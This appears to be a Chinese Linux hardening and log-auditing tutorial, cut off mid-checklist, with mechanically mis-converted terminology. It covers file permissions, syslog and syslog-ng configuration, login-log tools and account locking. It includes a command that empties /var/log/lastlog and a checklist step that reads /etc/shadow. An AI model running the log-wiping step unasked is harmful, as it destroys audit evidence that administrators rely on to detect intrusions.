天天看點

Linux System Reinforcement、Intrusion Detection Based On syslog

Linux System Reinforcement、Intrusion Detection Based On syslog

目錄

1.檔案系統及通路權限
2. Linux Syslog
3. Linux日志審計
4. 帳号安全管理
5. 基礎實體安全
6. 系統編譯環境安全
7. 系統病毒、後門、rootkit安全
8. 系統端口、服務安全
9. 系統核心安全
10. 基于系統日志審計的入侵檢測
11. 建構日志收集系統過程中面臨的技術挑戰      

1.檔案系統及通路權限

Linux為每個檔案都配置設定了一個檔案所有者,稱為"檔案屬主",并賦予檔案主惟一的注冊名

1. 對檔案的控制取決于檔案主或超級使用者root(linux系統中的root使用者有無條件的最高權限)
2. 檔案或目錄的建立者(屬主)對所建立的檔案或目錄擁有特别使用權
檔案的所有關系是可以改變的,檔案或目錄的所有權可以轉讓給其它使用者,但隻有檔案主或root使用者才有權改變檔案的所有關系      

linux下檔案/目錄的權限基本原理如下

1. 檔案權限轉移
檔案的所有權标志是使用者ID(UID)。chown命今可以更改某個檔案或目錄的所有權。例如,超級使用者把自己的一個檔案拷貝給使用者cg,為了讓使用者cg能夠存取這個檔案,超級使用者(root)應該把這個檔案的屬主設為cg,否則,使用者cg就
無法存取這個檔案 
chown [cfhvR] 使用者 或 組[檔案1] [檔案2]....
    1) 使用者可以是使用者名或使用者ID
    2) 檔案是以空格分開的、要改變權限的檔案清單,可以用通配符表示檔案名
如果改變了檔案或目錄的所有權,原檔案主将不再擁有該檔案或目錄的權限。系統管理者經常使用chown指令,在将檔案拷貝到另一個使用者的目錄下以後,讓使用者擁有使用該檔案的權限

2. 檔案的屬主/屬組
在Linux下,每個檔案又同時屬于一個使用者組。當建立一個檔案或目錄時,系統就會賦予它一個使用者組關系,使用者組的所有成員都可以使用此檔案或目錄。
檔案使用者組關系的标志是GID。檔案的GID隻能由檔案主或超級使用者(root)來修改。chgrp指令可以改變檔案或目錄的擁有者或所屬群組 
chgrp  [cfhRv]  group檔案名或目錄
    1) group是使用者組ID
    2) 檔案名是以空格分開的,它支援通配符
Linux系統中的每個檔案和目錄都有通路許可權限(ACL),用它來确定誰可以通過何種方式對檔案和目錄進行通路及操作。通路權限規定三種不同類型的使用者
    1) 檔案主(owner)
    2) 同組使用者(group)
    3) 可以通路系統的其它使用者(others)
通路權限規定三種通路檔案或目錄的方式,即
    1) 讀(r)
        1.1) 檔案
        對于檔案,讀權限(r)表示隻允許指定使用者讀其内容,而禁止對其做任何的更改操作,将所通路的檔案内容作為輸入的指令需要有讀的權限,例如指令more、head、cat等
        1.2) 目錄
        對于目錄,讀權限(r)可以列出存儲在該目錄下的檔案,即讀目錄内容清單。這一權限允許shell使用檔案擴充名字元列出相比對的檔案名(即ll xxdir | grep xxx)
    2) 寫(w)
        2.1) 檔案
        寫權限(w)表示允許指定使用者打開并修改檔案,例如指令cp、vi、mv等
        2.2) 目錄
        寫權限(w)表示允許從目錄中删除或添加新的檔案,通常隻有目錄主才有寫權限
    3) 可執行(x)
        3.1) 檔案
        執行權限(x)允許指定使用者将該檔案作為一個程式執行。可以使用"ls -l"檢視一個檔案的詳細屬性。
        3.2) 目錄
        執行權限(x)允許在目錄中查找,并能用cd指令将工作目錄改到該目錄。使用"ls -ld"指令可以檢視一個目錄的詳細屬性      

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3862652.html
http://www.2cto.com/Article/201205/129787.html      

2. Linux Syslog

在學習linux下的各種日志檔案之前,我們有必須先來學習一下Linux Syslog

0x1: 背景

許多應用程式需要記錄它們的活動。系統程式經常需要向控制台或日志檔案寫消息。這些消息可能訓示錯誤、警告或是與系統狀态有關的一般資訊。例如,su程式會把某個使用者嘗試得到超級使用者權限但失敗的事實記錄下來

通常這些日志資訊被記錄在系統檔案中,而這些系統檔案又被儲存在專用于此目的的目錄中,通常是/usr/adm或/var/log目錄,例如

1. /var/log/messages:包含所有系統資訊
2. /var/log/mail:包含來自郵件系統的其他日志資訊
3. /var/log/debug:可能包含調試資訊
//可以通過檢視/etc/syslog.conf檔案來檢查系統配置      

0x2: syslog和Linux日志檔案的關系

雖然系統消息的格式和存儲方式不盡相同,可産生消息的方法卻是标準的。*NIX規範為所有程式提供了一個接口,通過syslog函數來産生日志資訊

syslog函數向系統的日志工具發送一條日志資訊。每條資訊都有一個priority參數,該參數是一個"嚴重級别"與一個"設施值"的按位或

1. 嚴重級别: 控制日志資訊的處理(按優先級遞減排列)
    1) LOG_EMERG: 緊急情況
    2) LOG_ALERT: 高優先級故障,例如資料庫崩潰
    3) LOG_CRIT: 嚴重錯誤,例如硬體故障
    4) LOG_ERR: 錯誤
    5) LOG_WARNING: 警告
    6) LOG_NOTICE: 需要注意的特殊情況
    7) LOG_INFO: 一般資訊
    8) LOG_DEBUG: 調試資訊 
2. 設施值: 記錄日志資訊的來源(定義在syslog.h)
    1) LOG_USER(預設值): 指出消息來自一個使用者應用程式
    2) LOG_LOCAL0
    3) LOG_LOCAL1
    ..
    4) LOG_LOCAL7
    它們的含義由本地管理者指定       

根據系統配置

1. LOG_EMERG資訊: 可能會廣播給所有使用者
2. LOG_ALERT資訊: 可能會EMAIL給管理者
3. LOG_DEBUG資訊: 可能會被忽略
4. 其他資訊: 則寫入日志檔案      

當我們編寫的程式需要使用日志記錄功能時,隻要在希望建立一條日志資訊時簡單的調用syslog函數即可 

0x3: syslog日志服務

Linux syslog的作用是提供一個統一的日志産生(log raise)的接口,以一個标準化的格式在linux系統中産生指定事件的事件日志

1. 守護程序: syslog預設有兩個守護程序
    1) klogd: 記錄系統運作的過程中核心生成的日志
    2) syslogd: 記錄非核心以外的資訊
2. 端口: 514
3. 配置檔案: /etc/syslog.conf
4. 常見日志檔案:
    1) /var/log/dmesg: 核心引導資訊日志
    2) /var/log/message: 标準系統錯誤資訊日志
    3) /var/log/maillog: 郵件系統資訊日志
    4) /var/log/cron: 計劃任務日志
    5) /var/log/secure: 安全資訊日志      

0x4: syslog配置檔案

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none                /var/log/messages

# The authpriv file has restricted access.
authpriv.*                                              /var/log/secure

# Log all the mail messages in one place.
mail.*                                                  -/var/log/maillog


# Log cron stuff
cron.*                                                  /var/log/cron

# Everybody gets emergency messages
*.emerg                                                 *

# Save news errors of level crit and higher in a special file.
uucp,news.crit                                          /var/log/spooler

# Save boot messages also to boot.log
local7.*                                                /var/log/boot.log      

配置檔案中每行表示一個項目,由兩個部分組成,格式為

facility.level    action      

格式解釋

1. 第一部分:選擇條件(可以有一個或者多個條件),分為兩個字段,間用一個小數點(.)分隔
選擇條件是對消息類型的一種分類,這種分類便于人們把不同類型的消息發送到不同的地方。在同一個syslog配置行上允許出現一個以上的選擇條件,但必須用分号(;)隔開
    1.1 前一字段是一項服務
        1) kern: 核心資訊
        2) user: 使用者程序資訊 
        3) mail: 電子郵件相關資訊 
        4) daemon: 背景程序相關資訊 
        5) authpriv: 包括特權資訊如使用者名在内的認證活動 
        6) cron: 計劃任務資訊 
        7) syslog: 系統日志資訊
        8) lpr: 列印服務相關資訊 
        9) news: 新聞討論區伺服器資訊
        10) uucp: uucp生成的資訊
        11) local0-local7: 本地使用者資訊
    1.2 後一字段是一個優先級
    重要級是選擇條件的第二個字段,它代表消息的緊急程度。按嚴重程度由低到高排序:
        1) debug: 不包含函數條件或問題的其他資訊
        2) info: 提供資訊的消息
        3) none: 沒有重要級,通常用于排錯
        4) notice: 具有重要性的普通條件
        5) warning: 預警資訊
        6) err: 阻止工具或某些子系統部分功能實作的錯誤條件
        7) crit: 阻止某些工具或子系統功能實作的錯誤條件
        8) alert: 需要立即被修改的條件
        9) emerg: 該系統不可用

2. 第二部分:操作動作;  
日志資訊可以分别記錄到多個檔案裡,還可以發送到命名管道、其他程式甚至另一台機器。
syslog 主要支援以下活動:
    1) file: 指定檔案的絕對路徑
    2) terminal 或 prin: 完全的串行或并行裝置标志符
    3) @host(@IP位址): 遠端的日志伺服器      

0x5: syslog程式設計示例

#include <syslog.h>
#include <stdio.h>
 
int main(void)
{
        FILE *f;
 
        f = fopen("abc","r");
        if(!f) 
    {
         syslog(LOG_ERR|LOG_USER,"hello world!! - %m/n");     
    }                
}      
http://blog.csdn.net/telehiker/article/details/1830575
http://iminmin.blog.51cto.com/689308/437168      

0x6: syslog-ng

syslog-ng (syslog-Next generation) 是syslog的更新版

1. 高性能
2. 可靠的傳輸
3. 支援多平台
4. 高可靠性
5. 衆多的使用者群體
6. 強大的日志過濾及排序
7. 事件标簽和關聯性
8. 支援最新的IETF标準
....      

syslog-ng的配置檔案(配置syslog-ng server),etc/syslog-ng.conf

# 全局選項,多個選項時用分好";"隔開 
options { .... }; 

# 定義日志源, 
source s_name { ... }; 

# 定義過濾規則,規則可以使用正規表達式來定義,這裡是可選的,不定義也沒關系 
filter f_name { ... }; 

# 定義目标 
destination d_name { ... }; 

# 定義消息鍊可以将多個源,多個過濾規則及多個目标定義為一條鍊 
log { ... }; 

/*
詳解如下
*/
---------------------------------------------------------------- 
options { long_hostnames(off); sync(0); perm(0640); stats(3600); }; 
    更多選項如下 
    chain_hostnames(yes|no)     # 是否打開主機名鍊功能,打開後可在多網絡段轉發日志時有效 
    long_hostnames(yes|no)      # 是chain_hostnames的别名,已不建議使用 
    keep_hostname(yes|no)       # 是否保留日志消息中儲存的主機名稱 
    use_dns(yes|no)             # 是否打開DNS查詢功能, 
    use_fqdn(yes|no)            # 是否使用完整的域名 
    check_hostname(yes|no)      # 是否檢查主機名有沒有包含不合法的字元 
    bad_hostname(regexp)        # 可通過正規表達式指定某主機的資訊不被接受 
    dns_cache(yes|no)           # 是否打開DNS緩存功能 
    dns_cache_expire(n)         # DNS緩存功能打開時,一個成功緩存的過期時間 
    dns_cache_expire_failed(n)  # DNS緩存功能打開時,一個失敗緩存的過期時間 
    dns_cache_size(n)           # DNS緩存保留的主機名數量 
    create_dirs(yes|no)         # 當指定的目标目錄不存在時,是否建立該目錄 
    dir_owner(uid)              # 目錄的UID 
    dir_group(gid)              # 目錄的GID 
    dir_perm(perm)              # 目錄的權限,使用八進制方式标注,例如0644 
    owner(uid)                  # 檔案的UID 
    group(gid)                  # 檔案的GID 
    perm(perm)                  # 檔案的權限,同樣,使用八進制方式标注
    
    # 當syslog-ng忙時,其進入垃圾資訊收集狀态的時間一旦分派的對象達到這個數字,syslog-ng就啟動垃圾資訊收集狀态。預設值是:3000
    gc_busy_threshold(n) 
    
    # 當syslog-ng空閑時,其進入垃圾資訊收集狀态的時間一旦被分派的對象到達這個數字,syslog-ng就會啟動垃圾資訊收集狀态,預設值是:100 
    gc_idle_threshold(n)
    
    # 輸出隊列的行數 
    log_fifo_size(n) 

    # 消息日志的最大值(bytes) 
    log_msg_size(n)             
    mark(n)                     # 多少時間(秒)寫入兩行MARK資訊供參考,目前沒有實作 
    stats(n)                    # 多少時間(秒)寫入兩行STATUS資訊,預設值是:600
    
    # 緩存多少行的資訊再寫入檔案中,0為不緩存,局部參數可以覆寫該值
    sync(n)                     
    time_reap(n)                # 在沒有消息前,到達多少秒,即關閉該檔案的連接配接 
    time_reopen(n)              # 對于死連接配接,到達多少秒,會重新連接配接 
    use_time_recvd(yes|no)      # 宏産生的時間是使用接受到的時間,還是日志中記錄的時間;建議使用R_的宏代替接收時間,S_的宏代替日志記錄的時間,而不要依靠該值定義。 
 
source s_name { internal(); unix-dgram("/dev/log"); udp(ip("0.0.0.0") port(514)); }; 
 
    file (filename)                 # 從指定的檔案讀取日志資訊 
    unix-dgram  (filename)          # 打開指定的SOCK_DGRAM模式的unix套接字,接收日志消息 
    unix-stream (filename)          # 打開指定的SOCK_STREAM模式的unix套接字,接收日志消息 
    udp ( (ip),(port) )             # 在指定的UDP端口接收日志消息 
    tcp ( (ip),(port) )             # 在指定的TCP端口接收日志消息 
    sun-streams (filename)          # 在solaris系統中,打開一個(多個)指定的STREAM裝置,從其中讀取日志消息 
    internal()                      # syslog-ng内部産生的消息 
    pipe(filename),fifo(filename)   # 從指定的管道或者FIFO裝置,讀取日志資訊 
 
filter f_name   { not facility(news, mail) and not filter(f_iptables); }; 
    更多規則函數如下 
    facility(..)    # 根據facility(裝置)選擇日志消息,使用逗号分割多個facility 
    level(..)       # 根據level(優先級)選擇日志消息,使用逗号分割多個level,或使用".."表示一個範圍 
    program(表達式)    # 日志消息的程式名是否比對一個正規表達式 
    host(表達式)   # 日志消息的主機名是否和一個正規表達式比對 
    match(表達式)  # 對日志消息的内容進行正則比對 
    filter()        # 調用另一條過濾規則并判斷它的值 
    定義規則的時候也可以使用邏輯運算符and or not 
 
destination d_name { file("/var/log/messages"); }; 
    更多動作如下 
    file (filename)                 # 把日志消息寫入指定的檔案(日志記錄到本地磁盤)
    unix-dgram  (filename)          # 把日志消息寫入指定的SOCK_DGRAM模式的unix套接字(日志記錄到遠端server)
    unix-stream (filename)          # 把日志消息寫入指定的SOCK_STREAM模式的unix套接字(日志記錄到遠端server)
    udp (ip),(port)                 # 把日志消息發送到指定的UDP端口 
    tcp (ip),(port)                 # 把日志消息發送到指定的TCP端口 
    usertty(username)               # 把日志消息發送到已經登陸的指定使用者終端視窗 
    pipe(filename),fifo(filename)   # 把日志消息發送到指定的管道或者FIFO裝置 
    program(parm)                   # 啟動指定的程式,并把日志消息發送到該程序的标準輸入 
 
log { source(s_name); filter(f_name); destination(d_name) };       

一條日志的處理流程大概是這樣的

1. 日志的來源: source s_name { ... };
2. 過濾規則: filter f_name { ... };
3. 消息鍊: log { source(s_name); filter(f_name); destination(d_name) }; 
4. 目标動作: destination d_name { ... }; 
//需要注意的是一條日志消息過了之後,會比對定義的所有配置,并不是比對到以後就不再往下比對了       

可用的來源日志的:

1. internal: syslog-ng内部産生的消息
2. unix-stream: 打開指定的SOCK_STREAM模式的unix套接字,接收日志消息
3. unix-dgram: 打開指定的SOCK_DGRAM模式的unix套接字,接收日志消息
4. file: 打開指定的檔案讀取日志資訊
5. pipe、fifo: 打開指定的管道或者FIFO裝置,讀取日志資訊
6. tcp: 在指定的TCP端口接收日志消息
7. udp: 在指定的UDP端口接收日志消息      

目的地(destination)

總體來說,syslog-ng server在收到clinet發來的log請求的時候(即syslog()的調用方),可以選擇的記錄方式有

1. file(): file是syslog-ng最重要的日志消息目的驅動器之一。使用它,你可以把日志消息定向到一些檔案中 
2. program(): 這個支援給日志消息傳送給一個程式 
3. pipe(): 通過pipe()日志消息目的驅動器把日志消息發送到/dev/xconsole之類的命名管道 
4. unix-stream()、unix0dgram(): 通過這兩個日志消息目的驅動器把日志消息發送到一個SOCK_STREAM或者SOCK_DGRAM模式的UNIX套接字 
5. udp()、tcp(): 使用TCP或者UDP協定把日志消息送到本地網絡上或者internet上的另外的主機 
6. usertty(): 使用這個日志消息目的驅動器把日志消息送到一個登入使用者使用的終端 
7. program(): 驅動器fork出一個程序,使用給定的參數執行一個特定的程式,然後把日志消息送到這個程序的标準輸入裝置       
http://www.php-oa.com/2012/01/13/linux-syslog-ng.html
http://ant595.blog.51cto.com/5074217/1080922
http://blog.csdn.net/firedb/article/details/8137425
http://baike.baidu.com/view/3426564.htm#5
http://blog.chinaunix.net/uid-27575921-id-3529876.html
http://blog.sina.com.cn/s/blog_67b8673901013xaj.html
http://www.balabit.com/network-security/syslog-ng/opensource-logging-system/features
http://www.balabit.com/network-security/syslog-ng/opensource-logging-system/features/client-side#client4
http://www.balabit.com/network-security/syslog-ng      

0x7: 優化syslog-ng

syslog-ng的預設配置是針對單伺服器或者工作站的,為了獲得更高的性能,需要對齊進行調整和優化

1. 設定垃圾收集參數
syslog-ng有自己的垃圾收集器,而且一旦進入"垃圾收集狀态"就不再接受日志消息,進而造成非連接配接(UDP)的傳輸協定的資訊丢失。是以,需要對syslog-ng的垃圾收集狀态進行監控,可以通過以下兩個選項來控制其垃圾收集狀态
    1) gc_idle_threshold: 空閑狀态時閥值,如果配置設定的對象到達這個數字,而且系統處于空閑狀态(100ms内沒有日志),syslog-ng就啟動垃圾收集器。這個時候系統處于空閑狀态,是以基本不會造成日志資訊的丢失,這個數值(gc_idle_threshold)應該"比較小",即syslog-ng應該盡可能多的頻繁進行memory flush,以降低消息的延時和保持臨時緩存的空閑率
    2) gc_busy_threshold: 忙時的閥值,如果syslog-ng正處于接受日志消息(日志消息的間隔小于100ms),為了防止其将所有記憶體消耗殆盡,也應該強制進行垃圾收集。這個值應該"比較高",以便在正常情況下不打斷日志消息的接收
/*
syslog-ng的垃圾收集采取"mark and sweep"的模式,即
1. syslog-ng使用一塊記憶體作為消息的臨時緩存空間,syslog-ng server收到的所有消息不管将來要通過網絡轉發還是儲存到本地磁盤都是先臨時緩存到這塊buffer記憶體空間中
2. 當接收到消息時,syslog-ng将消息放到臨時緩存的記憶體buffer中,并将這塊記憶體打标(mark)
3. gc_idle_threshold、gc_busy_threshold展現了一種"最優下限、最低可容忍上限"的算法思想,即
    1) 在正常情況下,根據gc_idle_threshold進行垃圾收集
    2) 在最壞情況下,即使承擔丢包的風險也要根據gc_busy_threshold進行垃圾收集

Syslog-ng 2.0 is a complete reimplementation of syslog-ng 1.6, and does not use the mark and sweep garbage collector at all. The garbage collector parameters (gc_idle_threshold, gc_busy_threshold) are still accepted but are ignored.
*/

2. 設定輸出隊列大小
為了防止發送日志的deamon程式阻塞,syslog-ng一直在讀取其向内的日志通過,如果輸出隊列已滿,就可能造成日志消息的丢失,是以,設定輸出隊列的大小非常重要
我們可以設定全局輸出隊列的大小: options { log_fifo_size(1000); }; 
也可以為每個日志消息驅動器設定輸出隊列的大小: destination d_dmessages { file("/var/log/messages" log_fifo_size(1000); }; 
/*
輸出隊列的大小應該合理,這對于大量的日志消息負載來說特别重要,如果突然湧入的日志消息占據了目标通道的所有帶寬,syslog-ng能夠把日志消息儲存到輸出隊列中,等高峰過去再發出
值得注意的,高負載場景的關鍵點是供需關系,如果目前網絡帶寬小于消息産生速度(即消費者小于生産者),則任何緩存政策都是無用的
*/

3. 設定同步(sync)參數
syslog-ng一先對日志消息進行緩存,當達到一定的數量,就寫入磁盤,syslog-ng使用write()系統調用将每條消息寫入磁盤

4. 設定time_sleep參數
采取"延遲處理"的思想,當負責讀取消息隊列的線程(生産者)的記憶體、CPU消耗超過了一個閥值,則進行一定的delay延時,以便留出充足的時間讓網絡發送線程(消費者)将消息發送出去      
http://www.suse.url.tw/sles10/lesson9.htm
https://github.com/balabit/syslog-ng
http://15103850.blog.hexun.com.tw/88316673_d.html
http://www.syslog.org/syslog-ng/v2/#id2538698
https://github.com/balabit/syslog-ng      

3. Linux日志審計

0x1: 系統級别的日志

Linux的日志檔案用來記錄整個作業系統使用狀況,他們是黑客攻擊的重點目标,linux系統中,大部分的日志都儲存在/var/log(還有一些例外例如mysql、未讀郵件等),是以作為一個Linux網絡系統管理者要充分用好以下幾個系統日志檔案

1. /var/log/boot.log
系統的引導日志

2. /var/log/dmesg
核心(核心)啟動日志

3. /var/log/messages: 系統報錯日志
messages日志是核心系統日志檔案。它包含了大量的運作時資訊,例如
    1) 系統啟動時的引導消息
    2) IO錯誤
    3) 網絡錯誤資訊
    4) 某個人的身份切換為root
    5) 如果服務正在運作,比如DHCP伺服器,您可以在messages檔案中觀察它的活動
通常,/var/log/messages是我們在做故障診斷時首先要檢視的檔案 

4. /var/log/maillog
郵件系統日志

5. /var/log/xferlog
FTP系統日志
 
6. /var/log/secure 
記錄系統自開通以來所有使用者的登入時間和地點,可以給系統管理者提供更多的參考

7. /var/log/wtmp 
記錄目前和曆史上登入到系統的使用者的登入tty、登入使用者名、來源和時間等資訊。和/var/log/lastlog一樣,這個檔案是一個二進制檔案,需要用last指令檢視
last -f /var/log/wtmp

8. /var/log/spooler
News日志

9. /var/log/rpmpkgs
RPM軟體包

10. /var/log/boot.log: 引導日志
記錄開機啟動訊息,就是Linux系統開機自檢過程顯示的資訊
dmesg | more

11. /var/log/cron: cron(定制任務日志)日志
該日志檔案記錄crontab守護程序crond所派生的子程序的動作(包括使用者、登入時間和PID,以及派生出的程序的動作)
    1) CMD的一個動作是cron派生出一個排程程序的常見情況
    2) REPLACE(替換)動作記錄使用者對它的cron檔案的更新
    3) RELOAD動作在REPLACE動作後不久發生,這意味着cron注意到一個使用者的cron檔案被更新而cron需要把它重新裝入記憶體
該檔案可能會查到一些反常的情況

12. /var/log/lastlog
記錄最後進入系統的使用者資訊,包括登入的時間、登入是否成功等資訊。這個檔案是一個2進制檔案,需要用lastlog指令進行讀取,lastlog會枚舉出目前系統中的所有使用者(/etc/passwd)的登入情況
    1) lastlog
    檢視一下/var/log/lastlog檔案中記錄的所用賬号的最後登入時間,再與自己的用機記錄對比一下就可以發現該賬号是否被黑客盜用,如果發現在某個時間段有一個自己不認可的帳号的進行了登入,則說明發現了可疑行為 
    2) du -h /var/log/lastlog
    檢視其lastlog儲存空間占用情況 
    3) echo "" > /var/log/lastlog
    清空lastlog的日志儲存
# lastlog
Username         Port     From             Latest
root                                       **Never logged in**
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
lp                                         **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
uucp                                       **Never logged in**
operator                                   **Never logged in**
games                                      **Never logged in**
gopher                                     **Never logged in**
ftp                                        **Never logged in**
nobody                                     **Never logged in**
dbus                                       **Never logged in**
usbmuxd                                    **Never logged in**
vcsa                                       **Never logged in**
rtkit                                      **Never logged in**
avahi-autoipd                              **Never logged in**
abrt                                       **Never logged in**
pulse                                      **Never logged in**
haldaemon                                  **Never logged in**
saslauth                                   **Never logged in**
postfix                                    **Never logged in**
ntp                                        **Never logged in**
apache                                     **Never logged in**
gdm                                        **Never logged in**
sshd                                       **Never logged in**
tcpdump                                    **Never logged in**
zhenghan                                   **Never logged in**

13. /var/run/utmp 
This file contains information about the users who are currently logged onto the system. 'who' command uses this file to display the logged in users: - See more at: 
# who
root     tty1         2014-08-21 17:18 (:0)
root     pts/1        2014-08-21 17:30 (:0.0)
root     pts/4        2014-08-21 17:54 (:0.0)
root     pts/8        2014-08-23 04:51 (:0.0)
root     pts/11       2014-08-29 07:04 (:0.0)
The utmp file allows one to discover information about who is currently using the system. There may be more users currently using the system, because not all programs use utmp 
logging 

14. /var/log/wtmp 
This file is like history for utmp file, i.e. it maintains the logs of all logged in and logged out users (in the past). The 'last' command uses this file to display listing of 
last logged in users.
last
root     pts/12       :0.0             Fri Aug 29 07:14 - 07:14  (00:00)    
root     pts/11       :0.0             Fri Aug 29 07:04   still logged in   
root     pts/10       :0.0             Sun Aug 24 01:54 - 01:54  (00:00)    
root     pts/9        :0.0             Sat Aug 23 05:02 - 05:45  (00:43)    
root     pts/8        :0.0             Sat Aug 23 04:51   still logged in   
root     pts/7        :0.0             Fri Aug 22 04:44 - 04:39  (23:55)    
root     pts/6        :0.0             Thu Aug 21 21:36 - 02:05  (04:29)    
root     pts/5        :0.0             Thu Aug 21 18:09 - 20:14  (02:05)    
root     pts/4        :0.0             Thu Aug 21 17:54   still logged in   
root     pts/3        :0.0             Thu Aug 21 17:47 - 17:47  (00:00)    
root     pts/2        :0.0             Thu Aug 21 17:47 - 17:51  (00:03)    
root     pts/1        :0.0             Thu Aug 21 17:30   still logged in   
root     pts/0        :0.0             Thu Aug 21 17:19 - 18:06  (00:47)    
root     tty1         :0               Thu Aug 21 17:18   still logged in   
reboot   system boot  2.6.32-358.el6.i Thu Aug 21 17:18 - 06:10 (20+12:52)  
root     pts/6        :0.0             Wed Aug 20 23:26 - 17:10  (17:43)    
root     pts/5        :0.0             Wed Aug 20 23:08 - 23:24  (00:16)    
root     pts/4        :0.0             Wed Aug 20 23:01 - 23:01  (00:00)    
root     pts/3        :0.0             Wed Aug 20 22:30 - 22:30  (00:00)    
root     pts/2        :0.0             Wed Aug 20 22:16 - 22:19  (00:02)    
root     pts/1        :0.0             Wed Aug 20 21:19 - down   (19:58)    
root     pts/0        :0.0             Wed Aug 20 21:17 - down   (19:59)    
root     tty7         :0               Wed Aug 20 21:13 - down   (20:04)    
reboot   system boot  2.6.32-358.el6.i Thu Aug 21 04:45 - 17:17  (12:31)    

15. /var/log/btmp
This file contains bad login attempts. This file is used by 'lastb' command
lastb
btmp begins Thu Sep  4 19:20:02 2014

16. /var/log/secure 
This file contains all security related messages on the system. This includes authentication failures, possible break-in attempts, SSH logins, failed passwords, sshd logouts,
 invalid user accounts etc.

17. /var/auth.log
ubuntu下的/var/log/secure等價檔案      

以上幾個檔案都是由klogd、和syslogd進行記錄的

1. klogd
通常klogd用來記錄系統核心所産生的日志資訊,也就是工作在系統核心态的程序所産生的日子記錄

2. syslogd守護程序進行記錄的
syslogd用來記錄工作在使用者态的程序的日志資訊,這些程式包括以下幾種程序
    1) 使用者程序
    2) 網絡伺服器程序
    3) 多數的系統守護程序      

是以,對于管理人員而言,通過及時檢查syslogd記錄的資訊能夠發現絕大多數的系統異常情況

syslogd負責發送、記錄系統核心及工具所産生的資訊。整個機制由以下幾部分共同組成
    1) 系統調用syslog()

    2) 系統守護程序syslogd
    sys1ogd程序在系統啟動時由/etc/rc.d/rc2.d/S12syslog啟動。如果需要手工啟動或停止syslogd,可以使用下面指令:
        2.1) /etc/rc.d/init.d/syslog start | stop

    3) 配置檔案/etc/syslog.conf 
    通過配置syslog.conf,可以靈活地對資訊的發送和儲存進行控制
      

當系統核心及工具産生資訊時,通過調用syslog(),把資訊送往syslogd,它再根據/etc/syslog.conf中的配置要求,這些資訊分别做如下處理

1) 記錄到系統日志中
2) 輸出到系統控制台上
3) 轉發給指定的使用者
4) 通過網絡轉發給其它主機上的syslogd       

0x2: 使用者級别的記錄檔

1. 特權指令執行記錄
除了系統登入記錄和syslog記錄之外,在linux系統裡,使用自己的記錄方式。系統每天都會自動檢查系統的安全設定, 包括對SetUID、SetGID的執行檔案的檢查,其結果将輸出到/var/log/setuid.today檔案中,管理者可以與
/var/log/security.yesterday檔案對比,尋找系統安全設定的變化。

2. 硬體狀态資訊
在系統啟動的時候,就将核心的檢測資訊輸出到螢幕上,這些資訊可以幫助使用者分析系統中的硬體狀态。一般使用dmesg指令來檢視最後一次啟動時輸出的這個檢測資訊,這些資訊被系統儲存在/var/log/dmesg檔案中
#cat /var/log/dmesg |more
Linux version 2.6.32-431.23.3.el6.centos.plus.i686 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Tue Jul 29 23:27:50 UTC 2014
KERNEL supported cpus:
  Intel GenuineIntel
  AMD AuthenticAMD
  NSC Geode by NSC
  Cyrix CyrixInstead
  Centaur CentaurHauls
  Transmeta GenuineTMx86
  Transmeta TransmetaCPU
  UMC UMC UMC UMC
Disabled fast string operations
BIOS-provided physical RAM map:
 BIOS-e820: 0000000000000000 - 000000000009f400 (usable)
 BIOS-e820: 000000000009f400 - 00000000000a0000 (reserved)
 BIOS-e820: 00000000000dc000 - 0000000000100000 (reserved)
 BIOS-e820: 0000000000100000 - 000000007fef0000 (usable)
 BIOS-e820: 000000007fef0000 - 000000007feff000 (ACPI data)
 BIOS-e820: 000000007feff000 - 000000007ff00000 (ACPI NVS)
 BIOS-e820: 000000007ff00000 - 0000000080000000 (usable)
 BIOS-e820: 00000000f0000000 - 00000000f8000000 (reserved)
 BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved)
 BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved)
 BIOS-e820: 00000000fffe0000 - 0000000100000000 (reserved)
.....

3. Bash Shell執行記錄
各種Bash(kshell、cshell)還會記錄使用者使用的指令曆史,使用使用者主目錄下的檔案來記錄這些指令曆史,通常這個檔案的名字為
    1) .bash-history
    2) .history(csh)
    ..       

Relevant Link

http://blog.chinaunix.net/uid-25120309-id-3359929.html
http://www.liufofu.com/201207524.html
http://blog.chinaunix.net/uid-26569496-id-3199434.html
http://linoxide.com/linux-how-to/difference-between-utmp-wtmp-files-in-linux/
http://www.ewhathow.com/2013/09/linux-log-files-explained-varlog/      

4. 帳号安全管理

0x1: 賬戶安全

1. 鎖定系統中多餘的自建帳号
檢查方法: 執行指令
    1) #cat /etc/passwd
      2) #cat /etc/shadow
檢視賬戶、密碼檔案,與系統管理者确認不必要的賬号。對于一些保留的系統僞帳戶:bin、sys、adm、uucp、lp、nuucp、hpdb、www、daemon等可根據需要鎖定登陸
在進行操作之前,需要與管理者确認此項操作不會影響到業務系統的登入,如果對操作後的風險不确定,則可以采用備份的思路
備份方法:
      1) #cp -p /etc/passwd /etc/passwd_bak
      2) #cp -p /etc/shadow /etc/shadow_bak
加強方法:
      1) 使用指令passwd -l <使用者名>鎖定不必要的賬号
      2) 使用指令passwd -u <使用者名>解鎖需要恢複的賬号
  
2. 設定系統密碼政策
檢查方法: 執行指令
     1) #cat /etc/login.defs | grep PASS檢視密碼政策設定
備份方法:
      1) cp -p /etc/login.defs /etc/login.defs_bak
加強方法:
      1) #vi /etc/login.defs修改配置檔案
      PASS_MAX_DAYS 90 #建立使用者的密碼最長使用天數
      PASS_MIN_DAYS 0 #建立使用者的密碼最短使用天數
      PASS_WARN_AGE 7 #建立使用者的密碼到期提前提醒天數
      PASS_MIN_LEN 9 #最小密碼長度9
  
3. 禁用root之外的超級使用者
檢查方法: 
      1) #cat /etc/passwd 檢視密碼檔案,密碼檔案格式如下
備份方法:
      1) #cp -p /etc/passwd /etc/passwd_bak
加強方法:
      1) 使用指令passwd -l <使用者名>鎖定不必要的超級賬戶 
      2) 使用指令passwd -u <使用者名>解鎖需要恢複的超級賬戶  

4. 限制能夠su為root的使用者
檢查方法:
      1) #cat /etc/pam.d/su
    檢視是否有auth required /lib/security/pam_wheel.so這樣的配置條目
備份方法: 
    1) #cp -p /etc/pam.d /etc/pam.d_bak
加強方法:
